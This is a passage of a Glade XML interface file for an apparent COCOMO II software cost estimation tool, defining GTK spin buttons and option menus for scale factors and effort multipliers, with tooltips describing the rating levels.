		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>

	      <widget>
		<class>GtkSpinButton</class>
		<name>size_input</name>
		<can_focus>True</can_focus>
		<signal>
		  <name>changed</name>
		  <handler>input_state_changed</handler>
		  <last_modification_time>Sat, 27 Oct 2001 15:08:30 GMT</last_modification_time>
		</signal>
		<climb_rate>1</climb_rate>
		<digits>3</digits>
		<numeric>True</numeric>
		<update_policy>GTK_UPDATE_ALWAYS</update_policy>
		<snap>False</snap>
		<wrap>False</wrap>
		<value>1</value>
		<lower>0</lower>
		<upper>100</upper>
		<step>1</step>
		<page>10</page>
		<page_size>10</page_size>
		<child>
		  <left_attach>1</left_attach>
		  <right_attach>2</right_attach>
		  <top_attach>1</top_attach>
		  <bottom_attach>2</bottom_attach>
		  <xpad>0</xpad>
		  <ypad>0</ypad>
		  <xexpand>True</xexpand>
		  <yexpand>False</yexpand>
		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>

	      <widget>
		<class>GtkLabel</class>
		<name>label30</name>
		<label>Cost per Person-Month</label>
		<justify>GTK_JUSTIFY_CENTER</justify>
		<wrap>False</wrap>
		<xalign>0</xalign>
		<yalign>0.5</yalign>
		<xpad>0</xpad>
		<ypad>0</ypad>
		<child>
		  <left_attach>0</left_attach>
		  <right_attach>1</right_attach>
		  <top_attach>2</top_attach>
		  <bottom_attach>3</bottom_attach>
		  <xpad>6</xpad>
		  <ypad>0</ypad>
		  <xexpand>False</xexpand>
		  <yexpand>False</yexpand>
		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>

	      <widget>
		<class>GtkSpinButton</class>
		<name>cost_input</name>
		<can_focus>True</can_focus>
		<climb_rate>1</climb_rate>
		<digits>2</digits>
		<numeric>True</numeric>
		<update_policy>GTK_UPDATE_ALWAYS</update_policy>
		<snap>False</snap>
		<wrap>False</wrap>
		<value>1</value>
		<lower>0</lower>
		<upper>100</upper>
		<step>1</step>
		<page>10</page>
		<page_size>10</page_size>
		<child>
		  <left_attach>1</left_attach>
		  <right_attach>2</right_attach>
		  <top_attach>2</top_attach>
		  <bottom_attach>3</bottom_attach>
		  <xpad>0</xpad>
		  <ypad>0</ypad>
		  <xexpand>True</xexpand>
		  <yexpand>False</yexpand>
		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>
	    </widget>
	  </widget>

	  <widget>
	    <class>GtkFrame</class>
	    <name>frame3</name>
	    <label>Scale Factors</label>
	    <label_xalign>0</label_xalign>
	    <shadow_type>GTK_SHADOW_ETCHED_IN</shadow_type>
	    <child>
	      <padding>3</padding>
	      <expand>True</expand>
	      <fill>True</fill>
	    </child>

	    <widget>
	      <class>GtkTable</class>
	      <name>table4</name>
	      <rows>5</rows>
	      <columns>2</columns>
	      <homogeneous>False</homogeneous>
	      <row_spacing>0</row_spacing>
	      <column_spacing>0</column_spacing>

	      <widget>
		<class>GtkOptionMenu</class>
		<name>FLEX</name>
		<tooltip>Very Low : rigorous                  
Low : occaisonal relaxation
Nominal : some relaxation
High : general conformity
Very High : some conformity
Extra High : general goals</tooltip>
		<can_focus>True</can_focus>
		<items> 
</items>
		<initial_choice>0</initial_choice>
		<child>
		  <left_attach>1</left_attach>
		  <right_attach>2</right_attach>
		  <top_attach>1</top_attach>
		  <bottom_attach>2</bottom_attach>
		  <xpad>0</xpad>
		  <ypad>0</ypad>
		  <xexpand>False</xexpand>
		  <yexpand>False</yexpand>
		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>

	      <widget>
		<class>GtkOptionMenu</class>
		<name>RESL</name>
		<tooltip>Very Low : little (20%)           
Low : some (40%)
Nominal : often (60%)
High : generally (75%)
Very High : mostly (90%)
Extra High : full (100%)</tooltip>
		<can_focus>True</can_focus>
		<items> 
</items>
		<initial_choice>0</initial_choice>
		<child>
		  <left_attach>1</left_attach>
		  <right_attach>2</right_attach>
		  <top_attach>2</top_attach>
		  <bottom_attach>3</bottom_attach>
		  <xpad>0</xpad>
		  <ypad>0</ypad>
		  <xexpand>False</xexpand>
		  <yexpand>False</yexpand>
		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>

	      <widget>
		<class>GtkOptionMenu</class>
		<name>TEAM</name>
		<tooltip>Very Low : very difficult interactions           
Low : some difficult interactions
Nominal : basically cooperative interactions
High : largely cooperative
Very High : highly cooperative
Extra High : seamless interactions</tooltip>
		<can_focus>True</can_focus>
		<items> 
</items>
		<initial_choice>0</initial_choice>
		<child>
		  <left_attach>1</left_attach>
		  <right_attach>2</right_attach>
		  <top_attach>3</top_attach>
		  <bottom_attach>4</bottom_attach>
		  <xpad>0</xpad>
		  <ypad>0</ypad>
		  <xexpand>False</xexpand>
		  <yexpand>False</yexpand>
		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>

	      <widget>
		<class>GtkOptionMenu</class>
		<name>PMAT</name>
		<tooltip>Weighted average of "Yes" answers to CMM Maturity
Questionaire</tooltip>
		<can_focus>True</can_focus>
		<items> 
</items>
		<initial_choice>0</initial_choice>
		<child>
		  <left_attach>1</left_attach>
		  <right_attach>2</right_attach>
		  <top_attach>4</top_attach>
		  <bottom_attach>5</bottom_attach>
		  <xpad>0</xpad>
		  <ypad>0</ypad>
		  <xexpand>False</xexpand>
		  <yexpand>False</yexpand>
		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>

	      <widget>
		<class>GtkOptionMenu</class>
		<name>PREC</name>
		<tooltip>Very Low : thoroughly unprecedented
Low : largely unprecedented
Nominal : somewhat unprecedented
High : generally familiar
Very High : largely familiar
Extra High : thoroughly familiar</tooltip>
		<can_focus>True</can_focus>
		<signal>
		  <name>button_release_event</name>
		  <handler>input_state_changed</handler>
		  <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		</signal>
		<items> 
</items>
		<initial_choice>0</initial_choice>
		<child>
		  <left_attach>1</left_attach>
		  <right_attach>2</right_attach>
		  <top_attach>0</top_attach>
		  <bottom_attach>1</bottom_attach>
		  <xpad>0</xpad>
		  <ypad>0</ypad>
		  <xexpand>True</xexpand>
		  <yexpand>False</yexpand>
		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>

	      <widget>
		<class>GtkLabel</class>
		<name>label3</name>
		<label>Precedentedness</label>
		<justify>GTK_JUSTIFY_CENTER</justify>
		<wrap>False</wrap>
		<xalign>0</xalign>
		<yalign>0.5</yalign>
		<xpad>0</xpad>
		<ypad>0</ypad>
		<child>
		  <left_attach>0</left_attach>
		  <right_attach>1</right_attach>
		  <top_attach>0</top_attach>
		  <bottom_attach>1</bottom_attach>
		  <xpad>6</xpad>
		  <ypad>0</ypad>
		  <xexpand>True</xexpand>
		  <yexpand>False</yexpand>
		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>

	      <widget>
		<class>GtkLabel</class>
		<name>label6</name>
		<label>Development Flexibility</label>
		<justify>GTK_JUSTIFY_CENTER</justify>
		<wrap>False</wrap>
		<xalign>0</xalign>
		<yalign>0.5</yalign>
		<xpad>0</xpad>
		<ypad>0</ypad>
		<child>
		  <left_attach>0</left_attach>
		  <right_attach>1</right_attach>
		  <top_attach>1</top_attach>
		  <bottom_attach>2</bottom_attach>
		  <xpad>6</xpad>
		  <ypad>0</ypad>
		  <xexpand>False</xexpand>
		  <yexpand>False</yexpand>
		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>

	      <widget>
		<class>GtkLabel</class>
		<name>label7</name>
		<label>Architecture/Risk Solution</label>
		<justify>GTK_JUSTIFY_CENTER</justify>
		<wrap>False</wrap>
		<xalign>0</xalign>
		<yalign>0.5</yalign>
		<xpad>0</xpad>
		<ypad>0</ypad>
		<child>
		  <left_attach>0</left_attach>
		  <right_attach>1</right_attach>
		  <top_attach>2</top_attach>
		  <bottom_attach>3</bottom_attach>
		  <xpad>6</xpad>
		  <ypad>0</ypad>
		  <xexpand>False</xexpand>
		  <yexpand>False</yexpand>
		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>

	      <widget>
		<class>GtkLabel</class>
		<name>label8</name>
		<label>Team Cohesion</label>
		<justify>GTK_JUSTIFY_CENTER</justify>
		<wrap>False</wrap>
		<xalign>0</xalign>
		<yalign>0.5</yalign>
		<xpad>0</xpad>
		<ypad>0</ypad>
		<child>
		  <left_attach>0</left_attach>
		  <right_attach>1</right_attach>
		  <top_attach>3</top_attach>
		  <bottom_attach>4</bottom_attach>
		  <xpad>6</xpad>
		  <ypad>0</ypad>
		  <xexpand>False</xexpand>
		  <yexpand>False</yexpand>
		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>

	      <widget>
		<class>GtkLabel</class>
		<name>label9</name>
		<label>Process Maturity</label>
		<justify>GTK_JUSTIFY_CENTER</justify>
		<wrap>False</wrap>
		<xalign>0</xalign>
		<yalign>0.5</yalign>
		<xpad>0</xpad>
		<ypad>0</ypad>
		<child>
		  <left_attach>0</left_attach>
		  <right_attach>1</right_attach>
		  <top_attach>4</top_attach>
		  <bottom_attach>5</bottom_attach>
		  <xpad>6</xpad>
		  <ypad>0</ypad>
		  <xexpand>False</xexpand>
		  <yexpand>False</yexpand>
		  <xshrink>False</xshrink>
		  <yshrink>False</yshrink>
		  <xfill>True</xfill>
		  <yfill>False</yfill>
		</child>
	      </widget>
	    </widget>
	  </widget>

	  <widget>
	    <class>GtkFrame</class>
	    <name>frame4</name>
	    <label>Effort Multipliers</label>
	    <label_xalign>0</label_xalign>
	    <shadow_type>GTK_SHADOW_ETCHED_IN</shadow_type>
	    <child>
	      <padding>3</padding>
	      <expand>True</expand>
	      <fill>True</fill>
	    </child>

	    <widget>
	      <class>GtkHBox</class>
	      <name>hbox2</name>
	      <homogeneous>False</homogeneous>
	      <spacing>0</spacing>

	      <widget>
		<class>GtkFrame</class>
		<name>frame6</name>
		<label>Product</label>
		<label_xalign>0</label_xalign>
		<shadow_type>GTK_SHADOW_ETCHED_IN</shadow_type>
		<child>
		  <padding>3</padding>
		  <expand>True</expand>
		  <fill>True</fill>
		</child>

		<widget>
		  <class>GtkTable</class>
		  <name>table5</name>
		  <rows>5</rows>
		  <columns>2</columns>
		  <homogeneous>False</homogeneous>
		  <row_spacing>0</row_spacing>
		  <column_spacing>0</column_spacing>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label12</name>
		    <label>RELY</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>0</top_attach>
		      <bottom_attach>1</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>True</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label13</name>
		    <label>DATA</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>1</top_attach>
		      <bottom_attach>2</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label14</name>
		    <label>CPLX</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>2</top_attach>
		      <bottom_attach>3</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label15</name>
		    <label>RUSE</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>3</top_attach>
		      <bottom_attach>4</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label16</name>
		    <label>DOCU</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>4</top_attach>
		      <bottom_attach>5</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>DATA</name>
		    <tooltip>Low : DB bytes / Pgm SLOC &lt; 10
Nominal : 10 D/P &lt; 100
High : 100 D/P &lt; 1000
Very High : D/P 1000</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items> 
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>1</top_attach>
		      <bottom_attach>2</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>CPLX</name>
		    <tooltip>Very Low : very low complexity
Low : low complexity
Nominal : avarage complexity
High : high complexity
Very High : very high complexity
Extra High : extremely complex
</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items> 
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>2</top_attach>
		      <bottom_attach>3</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>RUSE</name>
		    <tooltip>Low : none                                               
Nominal : across project
High : across program
Very High : across product line
Extra High : across multiple product lines</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items> 
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>3</top_attach>
		      <bottom_attach>4</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>DOCU</name>
		    <tooltip>Very Low : Many life-cycle needs uncovered
Low : Some life-cycle needs uncovered
Nominal : Right-sized to life-cycle needs
Very High : Excessive for life-cycle needs</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items> 
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>4</top_attach>
		      <bottom_attach>5</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>RELY</name>
		    <tooltip>Very Low :  slight inconvenience          
Low : easily recoverable losses
Nominal : easily recoverable losses
High : high financial loss
Very High : risk to human life</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items>VL
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>0</top_attach>
		      <bottom_attach>1</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>True</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>
		</widget>
	      </widget>

	      <widget>
		<class>GtkFrame</class>
		<name>frame7</name>
		<label>Platform</label>
		<label_xalign>0</label_xalign>
		<shadow_type>GTK_SHADOW_ETCHED_IN</shadow_type>
		<child>
		  <padding>3</padding>
		  <expand>True</expand>
		  <fill>True</fill>
		</child>

		<widget>
		  <class>GtkTable</class>
		  <name>table6</name>
		  <rows>3</rows>
		  <columns>2</columns>
		  <homogeneous>False</homogeneous>
		  <row_spacing>0</row_spacing>
		  <column_spacing>0</column_spacing>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label17</name>
		    <label>TIME</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>0</top_attach>
		      <bottom_attach>1</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>True</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label18</name>
		    <label>STOR</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>1</top_attach>
		      <bottom_attach>2</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label19</name>
		    <label>PVOL</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>2</top_attach>
		      <bottom_attach>3</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>TIME</name>
		    <tooltip>Nominal : 50% use of available execution time
High : 70%
Very High : 85%
Extra High : 95%</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items>VL
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>0</top_attach>
		      <bottom_attach>1</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>STOR</name>
		    <tooltip>Nominal : 50% use of available storage
High : 70%
Very High : 85%
Extra High : 95%</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items> 
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>1</top_attach>
		      <bottom_attach>2</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>PVOL</name>
		    <tooltip>Low : major change every 12 mo. ; minor change
every 1 mo.
Nominal : major : 6 mo. ; minor : 2 wk.
High : major : 2 mo. ; minor : 1 wk.
Very High : major : 2 wk. ; minor 2 days</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items> 
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>2</top_attach>
		      <bottom_attach>3</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>
		</widget>
	      </widget>

	      <widget>
		<class>GtkFrame</class>
		<name>frame8</name>
		<label>Personnel</label>
		<label_xalign>0</label_xalign>
		<shadow_type>GTK_SHADOW_ETCHED_IN</shadow_type>
		<child>
		  <padding>0</padding>
		  <expand>True</expand>
		  <fill>True</fill>
		</child>

		<widget>
		  <class>GtkTable</class>
		  <name>table7</name>
		  <rows>6</rows>
		  <columns>2</columns>
		  <homogeneous>False</homogeneous>
		  <row_spacing>0</row_spacing>
		  <column_spacing>0</column_spacing>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label21</name>
		    <label>ACAP</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>0</top_attach>
		      <bottom_attach>1</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>True</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label22</name>
		    <label>PCAP</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>1</top_attach>
		      <bottom_attach>2</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label23</name>
		    <label>AEXP</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>2</top_attach>
		      <bottom_attach>3</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label27</name>
		    <label>PEXP</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>3</top_attach>
		      <bottom_attach>4</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label28</name>
		    <label>LTEX</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>4</top_attach>
		      <bottom_attach>5</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label29</name>
		    <label>PCON</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>5</top_attach>
		      <bottom_attach>6</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>ACAP</name>
		    <tooltip>Very Low : 15th percentile
Low : 35th percentile
Nominal : 55th percentile
High : 75th percentile
Very High: 90th percentile</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items>VL
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>0</top_attach>
